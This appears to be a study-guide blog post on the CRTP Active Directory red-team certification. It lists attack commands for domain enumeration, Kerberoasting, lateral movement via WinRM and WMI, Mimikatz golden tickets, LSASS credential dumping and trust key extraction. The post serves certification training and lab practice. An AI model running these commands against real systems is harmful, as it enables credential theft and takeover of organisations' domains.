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The Certified Red Team Professional (CRTP) is a highly respected certification that focuses on offensive operations within Windows enterprise environments. This certification is designed to test and validate your skills in Active Directory (AD) hacking, requiring you to chain techniques like a real-world red teamer to compromise a full enterprise lab. Below, we’ll explore the key concepts and tools covered in the CRTP certification, along with practical commands and steps to help you master these techniques.
You Should Know:
1. Active Directory Enumeration
Enumeration is the first step in any AD attack. Tools like PowerView, ADModule, and BloodHound are essential for gathering information about the domain, users, groups, and permissions.
- PowerView Commands:
Get-NetDomain # Retrieve domain information Get-NetUser # List all users in the domain Get-NetGroup # List all groups Get-NetComputer # List all computers in the domain
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BloodHound Usage:
bloodhound-python -u <username> -p <password> -d <domain> -c All
BloodHound visualizes AD relationships, helping you identify attack paths.
2. Abusing GPOs and Unquoted Service Paths
Group Policy Objects (GPOs) and unquoted service paths are common misconfigurations that can be exploited for privilege escalation.
- GPO Abuse:
Get-GPO -All # List all GPOs Get-GPOReport -All -ReportType Html -Path C:\GPOReport.html
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Unquoted Service Path Exploitation:
Identify services with unquoted paths:
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\"
3. Kerberoasting and ASREPRoasting
These techniques allow attackers to extract service account credentials.
- Kerberoasting with Rubeus:
Rubeus.exe kerberoast /outfile:hashes.txt
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ASREPRoasting:
Rubeus.exe asreproast /user:<username> /outfile:hashes.txt
4. Lateral Movement
Once you have credentials, lateral movement is key to expanding your access.
- WinRM (winrs):
winrs -r:<target> -u:<username> -p:<password> cmd
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WMI:
wmic /node:<target> /user:<username> /password:<password> process call create "cmd.exe"
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PowerShell Remoting (PSSessions):
Enter-PSSession -ComputerName <target> -Credential <username>
5. Golden Ticket Attacks
Forging Golden Tickets allows you to impersonate any user in the domain.
- Mimikatz Command:
mimikatz # kerberos::golden /user:<username> /domain:<domain> /sid:<SID> /krbtgt:<KRBTGT_HASH> /ptt
6. LSASS Dumps and Credential Theft
Dumping LSASS memory can reveal credentials.
- Mimikatz:
mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords
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SafetyKatz:
SafetyKatz.exe "sekurlsa::logonpasswords" "exit"
7. Forest Enumeration and Trust Abuse
Understanding forest trusts is crucial for cross-domain attacks.
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Forest Enumeration:
Get-NetForestTrust
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Trust Abuse:
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
What Undercode Say:
The CRTP certification is a game-changer for anyone looking to specialize in Active Directory exploitation. It not only teaches you how to exploit common misconfigurations but also trains you to think like an adversary. By mastering tools like BloodHound, Mimikatz, and Rubeus, you’ll be well-equipped to tackle real-world red teaming challenges. Remember, the key to success in AD exploitation lies in understanding the environment, chaining techniques, and thinking outside the box.
Expected Output:
- Active Directory enumeration using PowerView and BloodHound.
- Exploitation of GPOs and unquoted service paths.
- Kerberoasting and ASREPRoasting with Rubeus.
- Lateral movement via WinRM, WMI, and PSSessions.
- Golden Ticket attacks with Mimikatz.
- LSASS dumps and credential theft.
- Forest enumeration and trust abuse.
By following these steps and practicing the commands, you’ll be well on your way to mastering Active Directory exploitation and achieving CRTP certification.
References:
Reported By: Mohammad Al – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
